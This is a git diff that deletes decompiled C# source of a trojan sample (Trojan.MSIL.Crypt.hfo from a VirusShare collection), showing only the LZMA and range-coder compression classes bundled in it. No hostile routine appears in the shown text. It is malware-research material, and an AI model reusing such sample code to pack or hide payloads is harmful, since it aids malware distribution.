- bool finished; - this.CodeOneBlock(out inSize1, out outSize1, out finished); - if (finished) - goto label_3; - } - while (progress == null); - progress.SetProgress(inSize1, outSize1); - } -label_3:; - } - finally - { - this.ReleaseStreams(); - } - } - - public void WriteCoderProperties(Stream outStream) - { - this.properties[0] = (byte) ((this._posStateBits * 5 + this._numLiteralPosStateBits) * 9 + this._numLiteralContextBits); - for (int index = 0; index < 4; ++index) - this.properties[1 + index] = (byte) (this._dictionarySize >> 8 * index & (uint) byte.MaxValue); - outStream.Write(this.properties, 0, 5); - } - - private void FillDistancesPrices() - { - for (uint pos = 4; pos < 128U; ++pos) - { - uint posSlot = Encoder.GetPosSlot(pos); - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - this.tempPrices[(IntPtr) pos] = BitTreeEncoder.ReverseGetPrice(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), NumBitLevels, pos - num); - } - for (uint index1 = 0; index1 < 4U; ++index1) - { - BitTreeEncoder bitTreeEncoder = this._posSlotEncoder[(IntPtr) index1]; - uint num1 = index1 << 6; - for (uint symbol = 0; symbol < this._distTableSize; ++symbol) - this._posSlotPrices[(IntPtr) (num1 + symbol)] = bitTreeEncoder.GetPrice(symbol); - for (uint index2 = 14; index2 < this._distTableSize; ++index2) - this._posSlotPrices[(IntPtr) (num1 + index2)] += (uint) ((int) (index2 >> 1) - 1 - 4 << 6); - uint num2 = index1 * 128U; - uint pos; - for (pos = 0U; pos < 4U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + pos)]; - for (; pos < 128U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + Encoder.GetPosSlot(pos))] + this.tempPrices[(IntPtr) pos]; - } - this._matchPriceCount = 0U; - } - - private void FillAlignPrices() - { - for (uint symbol = 0; symbol < 16U; ++symbol) - this._alignPrices[(IntPtr) symbol] = this._posAlignEncoder.ReverseGetPrice(symbol); - this._alignPriceCount = 0U; - } - - private static int FindMatchFinder(string s) - { - for (int matchFinder = 0; matchFinder < Encoder.kMatchFinderIDs.Length; ++matchFinder) - { - if (s == Encoder.kMatchFinderIDs[matchFinder]) - return matchFinder; - } - return -1; - } - - public void SetCoderProperties(CoderPropID[] propIDs, object[] properties) - { - for (uint index = 0; (long) index < (long) properties.Length; ++index) - { - object property = properties[(IntPtr) index]; - switch (propIDs[(IntPtr) index]) - { - case CoderPropID.DictionarySize: - if (!(property is int num1)) - throw new InvalidParamException(); - this._dictionarySize = num1 >= 1 && num1 <= 1073741824 ? (uint) num1 : throw new InvalidParamException(); - int num2 = 0; - while (num2 < 30 && (long) num1 > (long) (uint) (1 << num2)) - ++num2; - this._distTableSize = (uint) (num2 * 2); - continue; - case CoderPropID.PosStateBits: - if (!(property is int num3)) - throw new InvalidParamException(); - this._posStateBits = num3 >= 0 && num3 <= 4 ? num3 : throw new InvalidParamException(); - this._posStateMask = (uint) ((1 << this._posStateBits) - 1); - continue; - case CoderPropID.LitContextBits: - if (!(property is int num4)) - throw new InvalidParamException(); - this._numLiteralContextBits = num4 >= 0 && num4 <= 8 ? num4 : throw new InvalidParamException(); - continue; - case CoderPropID.LitPosBits: - if (!(property is int num5)) - throw new InvalidParamException(); - this._numLiteralPosStateBits = num5 >= 0 && num5 <= 4 ? num5 : throw new InvalidParamException(); - continue; - case CoderPropID.NumFastBytes: - if (!(property is int num6)) - throw new InvalidParamException(); - this._numFastBytes = num6 >= 5 && num6 <= 273 ? (uint) num6 : throw new InvalidParamException(); - continue; - case CoderPropID.MatchFinder: - if (!(property is string)) - throw new InvalidParamException(); - Encoder.EMatchFinderType matchFinderType = this._matchFinderType; - int matchFinder = Encoder.FindMatchFinder(((string) property).ToUpper()); - this._matchFinderType = matchFinder >= 0 ? (Encoder.EMatchFinderType) matchFinder : throw new InvalidParamException(); - if (this._matchFinder != null && matchFinderType != this._matchFinderType) - { - this._dictionarySizePrev = uint.MaxValue; - this._matchFinder = (IMatchFinder) null; - continue; - } - continue; - case CoderPropID.Algorithm: - continue; - case CoderPropID.EndMarker: - if (!(property is bool writeEndMarker)) - throw new InvalidParamException(); - this.SetWriteEndMarkerMode(writeEndMarker); - continue; - default: - throw new InvalidParamException(); - } - } - } - - public void SetTrainSize(uint trainSize) => this._trainSize = trainSize; - - private enum EMatchFinderType - { - BT2, - BT4, - } - - private class LiteralEncoder - { - private Encoder.LiteralEncoder.Encoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Encoder.LiteralEncoder.Encoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - public Encoder.LiteralEncoder.Encoder2 GetSubCoder(uint pos, byte prevByte) => this.m_Coders[(IntPtr) (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits))]; - - public struct Encoder2 - { - private BitEncoder[] m_Encoders; - - public void Create() => this.m_Encoders = new BitEncoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Encoders[index].Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte symbol) - { - uint index1 = 1; - for (int index2 = 7; index2 >= 0; --index2) - { - uint symbol1 = (uint) ((int) symbol >> index2 & 1); - this.m_Encoders[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - } - } - - public void EncodeMatched(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte matchByte, byte symbol) - { - uint num1 = 1; - bool flag = true; - for (int index1 = 7; index1 >= 0; --index1) - { - uint symbol1 = (uint) ((int) symbol >> index1 & 1); - uint index2 = num1; - if (flag) - { - uint num2 = (uint) ((int) matchByte >> index1 & 1); - index2 += (uint) (1 + (int) num2 << 8); - flag = (int) num2 == (int) symbol1; - } - this.m_Encoders[(IntPtr) index2].Encode(rangeEncoder, symbol1); - num1 = num1 << 1 | symbol1; - } - } - - public uint GetPrice(bool matchMode, byte matchByte, byte symbol) - { - uint price = 0; - uint index = 1; - int num1 = 7; - if (matchMode) - { - for (; num1 >= 0; --num1) - { - uint num2 = (uint) ((int) matchByte >> num1 & 1); - uint symbol1 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) ((uint) (1 + (int) num2 << 8) + index)].GetPrice(symbol1); - index = index << 1 | symbol1; - if ((int) num2 != (int) symbol1) - { - --num1; - break; - } - } - } - for (; num1 >= 0; --num1) - { - uint symbol2 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) index].GetPrice(symbol2); - index = index << 1 | symbol2; - } - return price; - } - } - } - - private class LenEncoder - { - private BitEncoder _choice = new BitEncoder(); - private BitEncoder _choice2 = new BitEncoder(); - private BitTreeEncoder[] _lowCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder[] _midCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder _highCoder = new BitTreeEncoder(8); - - public LenEncoder() - { - for (uint index = 0; index < 16U; ++index) - { - this._lowCoder[(IntPtr) index] = new BitTreeEncoder(3); - this._midCoder[(IntPtr) index] = new BitTreeEncoder(3); - } - } - - public void Init(uint numPosStates) - { - this._choice.Init(); - this._choice2.Init(); - for (uint index = 0; index < numPosStates; ++index) - { - this._lowCoder[(IntPtr) index].Init(); - this._midCoder[(IntPtr) index].Init(); - } - this._highCoder.Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - if (symbol < 8U) - { - this._choice.Encode(rangeEncoder, 0U); - this._lowCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - symbol -= 8U; - this._choice.Encode(rangeEncoder, 1U); - if (symbol < 8U) - { - this._choice2.Encode(rangeEncoder, 0U); - this._midCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - this._choice2.Encode(rangeEncoder, 1U); - this._highCoder.Encode(rangeEncoder, symbol - 8U); - } - } - } - - public void SetPrices(uint posState, uint numSymbols, uint[] prices, uint st) - { - uint price0 = this._choice.GetPrice0(); - uint price1 = this._choice.GetPrice1(); - uint num1 = price1 + this._choice2.GetPrice0(); - uint num2 = price1 + this._choice2.GetPrice1(); - uint symbol; - for (symbol = 0U; symbol < 8U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = price0 + this._lowCoder[(IntPtr) posState].GetPrice(symbol); - } - for (; symbol < 16U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = num1 + this._midCoder[(IntPtr) posState].GetPrice(symbol - 8U); - } - for (; symbol < numSymbols; ++symbol) - prices[(IntPtr) (st + symbol)] = num2 + this._highCoder.GetPrice((uint) ((int) symbol - 8 - 8)); - } - } - - private class LenPriceTableEncoder : Encoder.LenEncoder - { - private uint[] _prices = new uint[new IntPtr(4352)]; - private uint _tableSize; - private uint[] _counters = new uint[new IntPtr(16)]; - - public void SetTableSize(uint tableSize) => this._tableSize = tableSize; - - public uint GetPrice(uint symbol, uint posState) => this._prices[(IntPtr) (posState * 272U + symbol)]; - - private void UpdateTable(uint posState) - { - this.SetPrices(posState, this._tableSize, this._prices, posState * 272U); - this._counters[(IntPtr) posState] = this._tableSize; - } - - public void UpdateTables(uint numPosStates) - { - for (uint posState = 0; posState < numPosStates; ++posState) - this.UpdateTable(posState); - } - - public new void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - base.Encode(rangeEncoder, symbol, posState); - if (--this._counters[(IntPtr) posState] != 0U) - return; - this.UpdateTable(posState); - } - } - - private class Optimal - { - public Base.State State; - public bool Prev1IsChar; - public bool Prev2; - public uint PosPrev2; - public uint BackPrev2; - public uint Price; - public uint PosPrev; - public uint BackPrev; - public uint Backs0; - public uint Backs1; - public uint Backs2; - public uint Backs3; - - public void MakeAsChar() - { - this.BackPrev = uint.MaxValue; - this.Prev1IsChar = false; - } - - public void MakeAsShortRep() - { - this.BackPrev = 0U; - this.Prev1IsChar = false; - } - - public bool IsShortRep() => this.BackPrev == 0U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/SevenZipHelper.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/SevenZipHelper.cs deleted file mode 100644 index ea53d9e9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/SevenZipHelper.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.SevenZipHelper -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public static class SevenZipHelper - { - private static int dictionary = 8388608; - private static bool eos = false; - private static CoderPropID[] propIDs = new CoderPropID[8] - { - CoderPropID.DictionarySize, - CoderPropID.PosStateBits, - CoderPropID.LitContextBits, - CoderPropID.LitPosBits, - CoderPropID.Algorithm, - CoderPropID.NumFastBytes, - CoderPropID.MatchFinder, - CoderPropID.EndMarker - }; - private static object[] properties = new object[8] - { - (object) SevenZipHelper.dictionary, - (object) 2, - (object) 3, - (object) 0, - (object) 2, - (object) 128, - (object) "bt4", - (object) SevenZipHelper.eos - }; - - public static byte[] Compress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - MemoryStream outStream = new MemoryStream(); - Encoder encoder = new Encoder(); - encoder.SetCoderProperties(SevenZipHelper.propIDs, SevenZipHelper.properties); - encoder.WriteCoderProperties((Stream) outStream); - long length = inStream.Length; - for (int index = 0; index < 8; ++index) - outStream.WriteByte((byte) (length >> 8 * index)); - encoder.Code((Stream) inStream, (Stream) outStream, -1L, -1L, (ICodeProgress) null); - return outStream.ToArray(); - } - - public static byte[] Decompress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - Decoder decoder = new Decoder(); - inStream.Seek(0L, SeekOrigin.Begin); - MemoryStream outStream = new MemoryStream(); - byte[] numArray = new byte[5]; - if (inStream.Read(numArray, 0, 5) != 5) - throw new Exception("input .lzma is too short"); - long outSize = 0; - for (int index = 0; index < 8; ++index) - { - int num = inStream.ReadByte(); - if (num < 0) - throw new Exception("Can't Read 1"); - outSize |= (long) (byte) num << 8 * index; - } - decoder.SetDecoderProperties(numArray); - long inSize = inStream.Length - inStream.Position; - decoder.Code((Stream) inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null); - return outStream.ToArray(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitDecoder.cs deleted file mode 100644 index 5e5202c8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitDecoder.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitDecoder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitDecoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private uint Prob; - - public void UpdateModel(int numMoveBits, uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> numMoveBits; - else - this.Prob -= this.Prob >> numMoveBits; - } - - public void Init() => this.Prob = 1024U; - - public uint Decode(Decoder rangeDecoder) - { - uint num = (rangeDecoder.Range >> 11) * this.Prob; - if (rangeDecoder.Code < num) - { - rangeDecoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 0; - } - rangeDecoder.Range -= num; - rangeDecoder.Code -= num; - this.Prob -= this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 1; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitEncoder.cs deleted file mode 100644 index 489b4f7f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitEncoder.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitEncoder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitEncoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private const int kNumMoveReducingBits = 2; - public const int kNumBitPriceShiftBits = 6; - private uint Prob; - private static uint[] ProbPrices = new uint[new IntPtr(512)]; - - public void Init() => this.Prob = 1024U; - - public void UpdateModel(uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> 5; - else - this.Prob -= this.Prob >> 5; - } - - public void Encode(Encoder encoder, uint symbol) - { - uint num = (encoder.Range >> 11) * this.Prob; - if (symbol == 0U) - { - encoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - } - else - { - encoder.Low += (ulong) num; - encoder.Range -= num; - this.Prob -= this.Prob >> 5; - } - if (encoder.Range >= 16777216U) - return; - encoder.Range <<= 8; - encoder.ShiftLow(); - } - - static BitEncoder() - { - for (int index1 = 8; index1 >= 0; --index1) - { - uint num1 = (uint) (1 << 9 - index1 - 1); - uint num2 = (uint) (1 << 9 - index1); - for (uint index2 = num1; index2 < num2; ++index2) - BitEncoder.ProbPrices[(IntPtr) index2] = (uint) (index1 << 6) + ((uint) ((int) num2 - (int) index2 << 6) >> 9 - index1 - 1); - } - } - - public uint GetPrice(uint symbol) => BitEncoder.ProbPrices[(((long) (this.Prob - symbol) ^ (long) -(int) symbol) & 2047L) >> 2]; - - public uint GetPrice0() => BitEncoder.ProbPrices[(IntPtr) (this.Prob >> 2)]; - - public uint GetPrice1() => BitEncoder.ProbPrices[(IntPtr) (2048U - this.Prob >> 2)]; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitTreeDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitTreeDecoder.cs deleted file mode 100644 index 0f0df356..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitTreeDecoder.cs +++ /dev/null @@ -1,66 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeDecoder - { - private BitDecoder[] Models; - private int NumBitLevels; - - public BitTreeDecoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitDecoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public uint Decode(Decoder rangeDecoder) - { - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder); - return index - (uint) (1 << this.NumBitLevels); - } - - public uint ReverseDecode(Decoder rangeDecoder) - { - uint index1 = 1; - uint num1 = 0; - for (int index2 = 0; index2 < this.NumBitLevels; ++index2) - { - uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder); - index1 = (index1 << 1) + num2; - num1 |= num2 << index2; - } - return num1; - } - - public static uint ReverseDecode( - BitDecoder[] Models, - uint startIndex, - Decoder rangeDecoder, - int NumBitLevels) - { - uint num1 = 1; - uint num2 = 0; - for (int index = 0; index < NumBitLevels; ++index) - { - uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder); - num1 = (num1 << 1) + num3; - num2 |= num3 << index; - } - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitTreeEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitTreeEncoder.cs deleted file mode 100644 index 8e124a18..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/BitTreeEncoder.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeEncoder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeEncoder - { - private BitEncoder[] Models; - private int NumBitLevels; - - public BitTreeEncoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitEncoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public void Encode(Encoder rangeEncoder, uint symbol) - { - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - this.Models[(IntPtr) index].Encode(rangeEncoder, symbol1); - index = index << 1 | symbol1; - } - } - - public void ReverseEncode(Encoder rangeEncoder, uint symbol) - { - uint index1 = 1; - for (uint index2 = 0; (long) index2 < (long) this.NumBitLevels; ++index2) - { - uint symbol1 = symbol & 1U; - this.Models[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - symbol >>= 1; - } - } - - public uint GetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = (index << 1) + symbol1; - } - return price; - } - - public uint ReverseGetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = index << 1 | symbol1; - } - return price; - } - - public static uint ReverseGetPrice( - BitEncoder[] Models, - uint startIndex, - int NumBitLevels, - uint symbol) - { - uint price = 0; - uint num = 1; - for (int index = NumBitLevels; index > 0; --index) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += Models[(IntPtr) (startIndex + num)].GetPrice(symbol1); - num = num << 1 | symbol1; - } - return price; - } - - public static void ReverseEncode( - BitEncoder[] Models, - uint startIndex, - Encoder rangeEncoder, - int NumBitLevels, - uint symbol) - { - uint num = 1; - for (int index = 0; index < NumBitLevels; ++index) - { - uint symbol1 = symbol & 1U; - Models[(IntPtr) (startIndex + num)].Encode(rangeEncoder, symbol1); - num = num << 1 | symbol1; - symbol >>= 1; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/Decoder.cs deleted file mode 100644 index 9e94fe4c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/Decoder.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Decoder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Decoder - { - public const uint kTopValue = 16777216; - public uint Range; - public uint Code; - public Stream Stream; - - public void Init(Stream stream) - { - this.Stream = stream; - this.Code = 0U; - this.Range = uint.MaxValue; - for (int index = 0; index < 5; ++index) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void CloseStream() => this.Stream.Close(); - - public void Normalize() - { - for (; this.Range < 16777216U; this.Range <<= 8) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void Normalize2() - { - if (this.Range >= 16777216U) - return; - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - this.Range <<= 8; - } - - public uint GetThreshold(uint total) => this.Code / (this.Range /= total); - - public void Decode(uint start, uint size, uint total) - { - this.Code -= start * this.Range; - this.Range *= size; - this.Normalize(); - } - - public uint DecodeDirectBits(int numTotalBits) - { - uint range = this.Range; - uint num1 = this.Code; - uint num2 = 0; - for (int index = numTotalBits; index > 0; --index) - { - range >>= 1; - uint num3 = num1 - range >> 31; - num1 -= range & num3 - 1U; - num2 = (uint) ((int) num2 << 1 | 1 - (int) num3); - if (range < 16777216U) - { - num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte(); - range <<= 8; - } - } - this.Range = range; - this.Code = num1; - return num2; - } - - public uint DecodeBit(uint size0, int numTotalBits) - { - uint num1 = (this.Range >> numTotalBits) * size0; - uint num2; - if (this.Code < num1) - { - num2 = 0U; - this.Range = num1; - } - else - { - num2 = 1U; - this.Code -= num1; - this.Range -= num1; - } - this.Normalize(); - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/Encoder.cs deleted file mode 100644 index d7ebcf6a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/RangeCoder/Encoder.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Encoder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Encoder - { - public const uint kTopValue = 16777216; - private Stream Stream; - public ulong Low; - public uint Range; - private uint _cacheSize; - private byte _cache; - private long StartPosition; - - public void SetStream(Stream stream) => this.Stream = stream; - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void Init() - { - this.StartPosition = this.Stream.Position; - this.Low = 0UL; - this.Range = uint.MaxValue; - this._cacheSize = 1U; - this._cache = (byte) 0; - } - - public void FlushData() - { - for (int index = 0; index < 5; ++index) - this.ShiftLow(); - } - - public void FlushStream() => this.Stream.Flush(); - - public void CloseStream() => this.Stream.Close(); - - public void Encode(uint start, uint size, uint total) - { - this.Low += (ulong) (start * (this.Range /= total)); - this.Range *= size; - while (this.Range < 16777216U) - { - this.Range <<= 8; - 